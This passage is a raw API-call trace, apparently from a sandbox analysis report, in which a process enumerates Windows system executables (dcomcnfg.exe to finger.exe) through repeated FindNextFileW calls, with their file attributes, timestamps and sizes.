lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff3a56c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5ff3a56c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="DeviceEject.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe32659, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbbe32659, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde17d230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="DevicePairingWizard.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82848ae7, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82848ae7, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde1efe20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="DeviceProperties.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fb9db19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1fb9db19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde214810, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="DFDWiz.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a25bf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936a25bf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936a25bf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dfrgui.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c2b99, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbe2c2b99, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xdff65630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dialer.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9a95e4b, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa9a95e4b, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xdffb1120, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="diantz.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e1adc0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x60e1adc0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdffd5b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dinotify.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938917a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x938917a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x938b7903, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="diskpart.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c984a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x13c984a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe00bb2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="diskperf.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a80986, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93a80986, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93a80986, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="diskraid.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8837bef, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xe8837bef, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0369380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81ea4a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd81ea4a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe0400960, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dispdiag.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9a6bc8, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f9a6bc8, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe057d720, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6834a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6834a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6834a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="djoin.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7e2f74, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xed7e2f74, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe07215e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390ff8fb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x390ff8fb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0981470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0a1b160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89abe568, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x89abe568, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe0afe230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829eb9e6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x829eb9e6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e5b99f, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xd6e5b99f, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32347214, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x32347214, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c7aff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67fa17, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6d67fa17, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c2f500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="drvinst.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f4b6133, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x9f4b6133, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dvdplay.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21c9e46, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xa21c9e46, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1626950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dvdupgrd.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8366e2b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8366e2b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe1674b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dwm.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ecbbdd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x58ecbbdd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe16c0640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="DWWIN.EXE", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8749092f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8749092f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe17a3710, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dxdiag.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6d10, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93a6d10, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe18d49e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="Dxpserver.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe61b0ca, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbe61b0ca, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe18fbae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="Eap3Host.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb012a3c2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb012a3c2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="efsui.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d5f61f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x38d5f61f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe1cff830, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="EhStorAuthn.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836eb2a5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x836eb2a5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1e7c5f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="esentutl.exe", cAlternateFileName="")) returned 1 [0164.361] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d527a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9f2d527a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9f34769a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="eudcedit.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62761073, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x62761073, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1eef1e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="eventcreate.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09c917, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf09c917, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1f13bd0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="eventvwr.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f129be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0f129be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe1fad8c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="expand.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a9c0d8, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0a9c0d8, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2742770, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="extrac32.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="fc.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="find.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ebf32f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="findstr.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84092633, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84092633, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe27b5360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="finger.exe", cAlternateFileName="")) returned 1 [0164.362] 